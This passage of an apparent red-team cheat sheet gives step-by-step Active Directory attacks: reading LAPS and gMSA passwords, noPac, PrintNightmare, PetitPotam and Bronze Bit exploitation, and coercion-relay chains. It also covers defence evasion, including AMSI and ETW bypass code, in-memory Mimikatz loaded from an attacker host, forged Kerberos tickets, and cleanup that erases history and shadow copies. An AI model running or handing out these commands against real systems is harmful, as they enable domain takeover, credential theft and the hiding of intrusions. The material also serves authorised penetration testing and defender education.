OPSEC: Certificate auth generates Event ID 4768 (TGT requested) with certificate info. ESC1/ESC3/ESC8 are loud if CA audit logging is enabled — check AuditFilter on the CA. Certipy operations leave traces in the CA database (all cert requests are logged). Shadow credentials leave an entry in msDS-KeyCredentialLink — remove it after use.
// 12 — LAPS & gMSA Abuse

LAPS & gMSA Abuse

LAPS — Local Administrator Password Solution

What LAPS does and how to abuse it

LAPS automatically rotates local Administrator passwords on domain-joined machines, storing them in a confidential AD attribute: ms-Mcs-AdmPwd. Only authorized principals (listed in ms-Mcs-AdmPwdExpirationTime) can read this attribute. If you have AllExtendedRights, GenericAll, or explicit read rights on computer objects, you can read the plaintext local admin password directly from AD. No cracking needed — it's stored in plaintext.

# --- Find computers with LAPS enabled
Get-DomainComputer -Filter "(ms-Mcs-AdmPwdExpirationTime=*)" -Properties Name,ms-Mcs-AdmPwdExpirationTime
Get-ADComputer -Filter {ms-Mcs-AdmPwdExpirationTime -like "*"} -Properties ms-Mcs-AdmPwdExpirationTime

# --- Find who can READ LAPS passwords (has AllExtendedRights on computer OU)
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local"
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "ms-Mcs-AdmPwd"}

# --- Read LAPS password (if you have rights)
Get-DomainComputer -Identity WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd
Get-ADComputer WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd

# --- PowerLAPS / LAPSToolkit
Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers                         # show all LAPS passwords you can read
Find-LAPSDelegatedGroups                  # show who can read LAPS
Find-AdmPwdExtendedRights                 # show ACEs granting LAPS read

# --- Impacket / netexec (from Linux)
nxc ldap DC01_IP -u user -p Password -M laps              # dump all readable LAPS passwords
python3 laps.py -u user -p Password -d corp.local         # enumerate

# --- LAPS v2 (Windows Server 2019+) — new attribute name
Get-ADComputer WORKSTATION01 -Properties "msLAPS-Password" | Select msLAPS-Password
# msLAPS-Password is a JSON blob: {"n":"Administrator","t":"...","p":"PLAINTEXT_PASSWORD"}

LAPS Password Write — Force Rotation

# If you have WRITE access to ms-Mcs-AdmPwdExpirationTime:
# Set expiration to past date → forces LAPS to generate new password on next check-in
# You could also read the current password BEFORE it rotates

# Set expiration to epoch 0 (forces immediate rotation on next policy apply)
Set-DomainObject -Identity WORKSTATION01 -Set @{"ms-Mcs-AdmPwdExpirationTime" = 0}

# --- If you have GenericAll on computer object — write your own password directly
Set-DomainObject -Identity WORKSTATION01 -Set @{"ms-Mcs-AdmPwd" = "YourPassword123!"}
# Then authenticate with the password you set:
nxc smb WORKSTATION01 -u Administrator -p 'YourPassword123!'

gMSA — Group Managed Service Accounts

gMSA password extraction

Group Managed Service Accounts (gMSA) have 240-character randomly-generated passwords, automatically rotated by AD. The password is stored encrypted in the msDS-ManagedPassword attribute, readable only by accounts listed in msDS-GroupMSAMembership. If your compromised account is in that group, you can request and decrypt the gMSA password — which gives you the service account's NTLM hash and effectively full impersonation rights for whatever the gMSA is used for.

# --- Find gMSA accounts
Get-DomainObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)" | Select SamAccountName,msDS-GroupMSAMembership
Get-ADServiceAccount -Filter {ObjectClass -eq "msDS-GroupManagedServiceAccount"} -Properties msDS-GroupMSAMembership

# --- Check if your account can read the gMSA password
# msDS-GroupMSAMembership contains the security descriptor of who can read msDS-ManagedPassword
$gmsa = Get-ADServiceAccount -Identity GMSA_ACCOUNT -Properties msDS-GroupMSAMembership
$gmsa.'msDS-GroupMSAMembership'.Access

# --- Read gMSA password (if authorized)
$gmsa = Get-ADServiceAccount -Identity GMSA_ACCOUNT -Properties msDS-ManagedPassword
$mp = $gmsa.'msDS-ManagedPassword'
Import-Module .\DSInternals.psd1
$sd = ConvertFrom-ADManagedPasswordBlob $mp
$sd.CurrentPassword              # 240-char password
ConvertTo-NTHash -Password $sd.CurrentPassword   # NTLM hash of gMSA password

# --- GMSAPasswordReader (standalone tool)
.\GMSAPasswordReader.exe --AccountName GMSA_ACCOUNT

# --- Impacket gMSADumper (Linux)
python3 gMSADumper.py -u user -p Password -d corp.local -l DC01_IP
# Output: GMSA_ACCOUNT$ : NTLM_HASH

# --- Use gMSA hash (pass-the-hash)
nxc smb TARGET -u 'GMSA_ACCOUNT$' -H NTLM_HASH
python3 secretsdump.py -hashes :NTLM_HASH 'corp.local/GMSA_ACCOUNT$'@TARGET_IP
Real-world note: gMSA accounts are often used for scheduled tasks, IIS application pools, or services — and may be members of privileged groups. A gMSA that runs a backup service might have full server access. Always enumerate what the gMSA can do after recovering the hash.
// 13 — Novel & CVE-Based Attacks

Novel & CVE-Based Attacks

noPac — CVE-2021-42278 + CVE-2021-42287 (SAM Name Impersonation)

Domain User → Domain Admin in one shot

Two vulnerabilities combined: CVE-2021-42278 allows a machine account to have a sAMAccountName without the trailing $ suffix — meaning you can name a machine account DC01 (same as the Domain Controller). CVE-2021-42287 is a PAC confusion bug in the KDC. When a TGT is requested for DC01, and then DC01 is renamed back, the KDC's S4U2Self lookup for the ticket falls back to searching for DC01$ — finding the actual Domain Controller. The result: a service ticket for the DC as any user. Unpatched systems (pre-November 2021) are fully compromised with a single command.

# --- noPac.py (Linux — full automated chain)
python3 noPac.py corp.local/user:Password -dc-ip DC01_IP -dc-host DC01 --impersonate administrator -dump
# Dumps all hashes via DCSync using the impersonated Administrator ticket

# --- Just get a shell
python3 noPac.py corp.local/user:Password -dc-ip DC01_IP -dc-host DC01 --impersonate administrator -shell

# --- Manual Impacket chain (step by step)
# Step 1: Create machine account (requires MachineAccountQuota > 0, default 10)
python3 addcomputer.py corp.local/user:Password -dc-ip DC01_IP -computer-name NOPACMACHINE -computer-pass Hax0r!2026

# Step 2: Rename machine sAMAccountName to DC name (without $)
python3 renameMachine.py corp.local/user:Password -dc-ip DC01_IP -computer-name NOPACMACHINE -new-name DC01

# Step 3: Request TGT for DC01 (our renamed machine)
python3 getTGT.py corp.local/DC01 -hashes :MACHINE_NTLM_HASH -dc-ip DC01_IP

# Step 4: Rename back (important — must happen before S4U)
python3 renameMachine.py corp.local/user:Password -dc-ip DC01_IP -computer-name DC01 -new-name NOPACMACHINE

# Step 5: S4U2Self with forged TGT to get admin ticket for DC01
python3 getST.py corp.local/DC01 -hashes :MACHINE_NTLM_HASH -spn CIFS/DC01.corp.local -impersonate administrator -dc-ip DC01_IP -self

# --- noPac C# (Windows)
.\noPac.exe scan -domain corp.local -user user -pass Password   # check vulnerability
.\noPac.exe -domain corp.local -user user -pass Password /dc DC01.corp.local /mAccount FAKEMACHINE /mPassword Pass123! /service cifs /ptt

PrintNightmare — CVE-2021-1675 / CVE-2021-34527

Print Spooler RCE → SYSTEM on any domain machine

A vulnerability in the Windows Print Spooler service allows any authenticated user to load arbitrary DLLs on a remote machine with SYSTEM privileges. Two variants: the original LPE (local privilege escalation) exploits AddPrintDriver locally; the RCE variant abuses RpcAddPrinterDriverEx to load a DLL from a remote UNC path. When used against Domain Controllers, you get SYSTEM on the DC — instant domain takeover. Patched June/July 2021, but the PrinterBug (coercion primitive) from Spooler still works for relay attacks even on patched systems.

# --- Check if Print Spooler is running on target (required for exploit)
Get-Service -ComputerName DC01.corp.local -Name Spooler
nxc smb DC01_IP -u user -p Password -M spooler

# --- cube0x0 Python (Linux — RCE variant, load malicious DLL via SMB)
# Host your DLL on SMB share first:
sudo impacket-smbserver share /tmp/share -smb2support
# Generate DLL payload (e.g., reverse shell or add DA)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

python3 CVE-2021-1675.py corp.local/user:Password@DC01_IP '\\ATTACKER_IP\share\evil.dll'

# --- SharpPrintNightmare (Windows — LPE on current machine)
.\SharpPrintNightmare.exe C:\Windows\System32\spool\drivers\x64\3\evil.dll

# --- Invoke-Nightmare (PowerShell — add user to local admins)
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -DriverName "Totally Legit Printer" -NewUser backdoor -NewPassword Backdoor123!

PetitPotam — CVE-2021-36942 (MS-EFSRPC Coercion)

Unauthenticated coercion of Domain Controllers

PetitPotam abuses the Encrypting File System Remote Protocol (MS-EFSRPC) to coerce a Windows host to authenticate to an attacker-controlled server. Originally worked unauthenticated (since patched), but still functions with valid domain credentials against unpatched hosts. The coercion is the primitive — combine with NTLM relay to LDAP/LDAPS (for RBCD or shadow credentials) or to AD CS web enrollment (ESC8). This is one of the most powerful relay setups in modern AD attacks.

# --- PetitPotam (authenticated — works even on patched DCs)
python3 PetitPotam.py -u user -p Password -d corp.local LISTENER_IP DC01.corp.local

# --- Unauthenticated (only on unpatched)
python3 PetitPotam.py LISTENER_IP DC01.corp.local

# --- Combined: PetitPotam + Relay to ADCS ESC8 (most impactful)
# Terminal 1: Start Certipy relay targeting CA
sudo certipy relay -ca CA_SERVER.corp.local -template DomainController

# Terminal 2: Coerce DC
python3 PetitPotam.py -u user -p Password ATTACKER_IP DC01.corp.local
# Result: DC01$ cert saved → use for DCSync via PKINIT UnPAC-the-Hash

# --- Combined: PetitPotam + RBCD via LDAP relay
# Terminal 1:
sudo ntlmrelayx.py -t ldap://DC01.corp.local --delegate-access --add-computer-name ATTACKPC$ --add-computer-password Hax0r!2026 --no-da --no-acl

# Terminal 2:
python3 PetitPotam.py -u user -p Password ATTACKER_IP VICTIM_SERVER.corp.local

Bronze Bit — CVE-2020-17049 (S4U2Proxy Bypass)

Forging service tickets that bypass delegation restrictions

Normally, S4U2Proxy requires the service ticket from S4U2Self to have the forwardable flag set. For protected users or accounts with "Account is sensitive and cannot be delegated," the KDC refuses to set this flag. CVE-2020-17049 (Bronze Bit) allows an attacker with the service account key to forge this forwardable flag in the service ticket — bypassing the restriction and enabling S4U2Proxy for ANY user, including protected admins. Patched November 2020, but significant for unpatched environments.

# --- impacket getST with Bronze Bit (-force-forwardable flag)
python3 getST.py corp.local/svc_iis -hashes :NTLM_HASH -spn CIFS/fileserver.corp.local -impersonate administrator -force-forwardable

# This bypasses "sensitive account" protection — useful when target DA is marked "cannot be delegated"

KrbRelayUp — Local Privilege Escalation via RBCD + Kerberos Relay

Local → SYSTEM on domain-joined machines without credentials

KrbRelayUp chains multiple techniques: it relays the current user's Kerberos authentication to LDAP (using a local COM relay), creates a machine account, configures RBCD on the local machine pointing to the new machine account, then impersonates SYSTEM via S4U. All of this happens locally — no network relay needed. Any domain user with local access can escalate to SYSTEM on domain-joined Windows machines where LDAP signing is not enforced. Affects all Windows 10/11 and Server versions.

# --- KrbRelayUp (fully automated — domain user → SYSTEM locally)
.\KrbRelayUp.exe relay -d corp.local -dc DC01.corp.local

# --- With specific target for shell
.\KrbRelayUp.exe relay -d corp.local -dc DC01.corp.local -p 12345 -cls 1c02e8b4-2fed-4901-b5e2-d06d06f18cca

# --- Full manual chain equivalent:
# 1. Relay Kerberos auth to LDAP → add machine account RBCD on local machine
# 2. Request TGT for machine account → S4U to SYSTEM
# 3. Pass-the-ticket → run as SYSTEM
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

Coercion Techniques Reference

# --- SpoolSample / PrinterBug (MS-RPRN — requires Print Spooler)
.\SpoolSample.exe TARGET_HOST LISTENER_HOST

# --- PetitPotam (MS-EFSRPC — patched unauthenticated, works authed)
python3 PetitPotam.py -u user -p Password LISTENER_IP TARGET_HOST

# --- DFSCoerce (MS-DFSNM — unpatched widely, no creds needed on some builds)
python3 dfscoerce.py -u user -p Password LISTENER_IP TARGET_HOST

# --- ShadowCoerce (MS-FSRVP — Volume Shadow Copy protocol)
python3 shadowcoerce.py -u user -p Password LISTENER_IP TARGET_HOST

# --- Coercer (automated — tries all coercion methods)
python3 Coercer.py -u user -p Password -d corp.local -t TARGET_HOST -l LISTENER_IP
python3 Coercer.py scan -u user -p Password -d corp.local -t TARGET_HOST  # check what's enabled
Coercion → Relay cheatsheet: Coerce → LDAP relay (RBCD, shadow creds, add DA) requires LDAP signing off. Coerce → LDAPS relay requires channel binding off. Coerce → ADCS ESC8 requires Web Enrollment without EPA. Coerce → NTLM capture (Responder) always works — just crack offline.
// 14 — Defense Evasion & OPSEC

Defense Evasion & OPSEC

Key Windows Security Event IDs

Event IDDescriptionTrigger
4624Successful logonAny authentication
4625Failed logonWrong creds / lockout trigger
4648Logon with explicit credentialsRunAs / pass-the-hash
4662Object operation (AD object)DCSync (DS-Replication rights)
4663Object access attemptFile access, registry
4672Special privileges assignedPrivileged logon (DA, etc.)
4720User account createdBackdoor user creation
4728Member added to global groupAdding to Domain Admins
4738User account changedUAC modifications
4768TGT requested (Kerberos AS-REQ)AS-REP Roast, ticket ops
4769Service ticket requested (TGS-REQ)Kerberoasting, lateral movement
4771Kerberos pre-auth failureWrong password AS-REQ
4776NTLM credential validationNTLM auth, pass-the-hash
4798User's local group membership enumeratedBloodHound, enumeration
4799Security-enabled local group enumeratedBloodHound, enumeration
5136Directory service object modifiedACL changes, RBCD, shadow creds
5145Network share access checkSMB share enumeration

Bypassing Common Defenses

# --- AMSI bypass (in-memory, PowerShell)
# Method 1: Patch amsi.dll in memory (classic, detected by most AVs now)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Reflection-based
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c,8,[Byte]0)

# --- ETW (Event Tracing) patching (kills PowerShell ScriptBlock logging)
$a=[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$b=$a.GetField('etwProvider','NonPublic,Static').GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($b,0x3e8,[Byte]0)

# --- Constrained Language Mode check + bypass attempts
$ExecutionContext.SessionState.LanguageMode  # check if FullLanguage or ConstrainedLanguage
# If constrained: use PS v2 (no CLM, no AMSI, no ScriptBlock logging)
powershell -Version 2 -Command { IEX(New-Object Net.WebClient).DownloadString('http://...') }

# --- PowerShell execution policy bypass
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX (Get-Content .\script.ps1 -Raw)"

# --- Encoded command (avoids string-based detection)
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $enc

Mimikatz OPSEC

# --- Don't drop to disk — use in-memory loading
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'

# --- Cobalt Strike beacon execute-assembly (never touches disk)
execute-assembly /opt/tools/Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" exit

# --- SafetyKatz — .NET loader for Mimikatz, AMSI-bypassed
.\SafetyKatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"

# --- SharpKatz — C# reimplementation (smaller AV surface)
.\SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local --DomainController DC01.corp.local

# --- PPL bypass — protected process light for LSASS
# Method 1: PPLKiller / PPLBlade (kernel driver — very noisy)
# Method 2: mimidrv.sys (Mimikatz kernel driver — extremely loud)
# Better: use DCSync instead of LSASS dump where possible

# --- Avoid lsass.exe access entirely
# DCSync = no LSASS, no Event 10 (Sysmon process access)
# Constrained/RBCD delegation = no LSASS
# Certificate auth (ADCS ESC1) = no LSASS

BloodHound OPSEC — Quiet Collection

# --- Avoid noisy default collection methods
# All collection: generates Event 4798/4799 per host — very loud across many machines
.\SharpHound.exe --CollectionMethods All

# --- Stealth: DCOnly collection (only queries DC via LDAP — no host connections)
.\SharpHound.exe --CollectionMethods DCOnly --Stealth
# Misses: local admins, sessions (requires host connection) — but far less noise

# --- Session collection only (least noisy — 1 event per host)
.\SharpHound.exe --CollectionMethods Session --Stealth

# --- Bloodhound-Python (from Linux — no binary dropped on target)
python3 bloodhound-python -u user -p Password -d corp.local -ns DC01_IP -c DCOnly
python3 bloodhound-python -u user -p Password -d corp.local -ns DC01_IP -c All --zip

# --- Spread collection over time (avoid burst of 4798/4799 events)
.\SharpHound.exe --CollectionMethods All --Loop --LoopDuration 24:00:00 --LoopInterval 00:05:00

Kerberos Ticket OPSEC

# --- Golden Ticket OPSEC (avoid common detection signatures)
# DO: Use current domain name, actual user RIDs, realistic ticket lifetime
# DON'T: Use /renewmax >7 days (default detection rule), user ID 500 every time

# Stealthy Golden Ticket — mimic real ticket parameters
.\Rubeus.exe golden /user:normaluser /id:1234 /domain:corp.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:HASH /startoffset:-5 /endin:600 /renewmax:10080 /ptt

# --- Diamond Ticket (recommended over Golden Ticket — evades most detections)
# Requests a REAL TGT, then modifies the PAC — encrypted with krbtgt key
.\Rubeus.exe diamond /user:normaluser /password:Password /domain:corp.local /dc:DC01.corp.local /enctype:aes256 /krbkey:KRBTGT_AES256_KEY /ticketuser:administrator /ticketuserid:500 /groups:512 /ptt

# --- Sapphire Ticket (stealthiest — uses real DC response, no forging)
.\Rubeus.exe sapphire /user:normaluser /password:Password /domain:corp.local /dc:DC01.corp.local /impersonateuser:administrator /ptt

# --- Use AES256 keys instead of RC4/NTLM (AES256 is default, RC4 is suspicious)
# DCSync AES256 keys
.\Mimikatz.exe "lsadump::lsa /patch" "exit"  # gets AES256 keys

# Pass AES key to Rubeus
.\Rubeus.exe asktgt /user:administrator /enctype:aes256 /aes256:AES256_KEY /ptt

Lateral Movement OPSEC

# --- WMI (over-the-wire: DCOM — harder to detect than SMB exec)
$wmi = [wmiclass]"\\TARGET\root\cimv2:Win32_Process"
$wmi.Create("powershell.exe -ep bypass -c IEX(...)")

# --- WinRM / PSRemoting (Event 4624 type 3, encrypts payload)
$s = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $s -ScriptBlock { hostname; whoami }

# --- DCOM lateral movement (uses COM objects — less monitored)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-ep bypass -c PAYLOAD","7")

# --- SCShell (service control — over named pipe, bypasses traditional lateral move detection)
.\SCShell.exe TARGET XblAuthManager "cmd.exe /c PAYLOAD" corp.local user Password

# --- Use existing sessions (don't create new logon events)
# If you have access to existing Cobalt Strike/Meterpreter session, use that host's token
# Token impersonation from existing session = same logon session, no new 4624

Cleanup Checklist

# --- Remove persistence artifacts
# Delete backdoor user
Remove-ADUser -Identity backdoor_user

# Remove AdminSDHolder ACE
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights All

# Remove shadow credentials
certipy shadow remove -u user@corp.local -p Password -account victim_user -dc-ip DC01_IP

# Remove RBCD entries
Set-DomainObject TARGET_MACHINE -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

# Remove created machine account
Remove-ADComputer -Identity FAKEMACHINE$

# Remove VSS shadow copies (if created)
vssadmin delete shadows /all /quiet

# --- Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
Clear-History

# --- Flush Kerberos tickets from memory
.\Rubeus.exe purge                           # purge all injected tickets
klist purge                                  # native Windows ticket purge

# --- Sysmon evasion — use processes that don't generate CreateRemoteThread events
# Avoid injecting into sensitive processes: lsass.exe, csrss.exe, winlogon.exe
# Prefer: svchost.exe, explorer.exe, runtimebroker.exe
Engagement OPSEC priority: (1) Never touch LSASS directly — use DCSync or ADCS instead. (2) Use AES256 over RC4 everywhere. (3) Prefer Diamond/Sapphire over Golden Tickets. (4) BloodHound with DCOnly before All collection. (5) Purge tickets and remove artifacts after use. (6) Log your actions — you need to report what you accessed and when.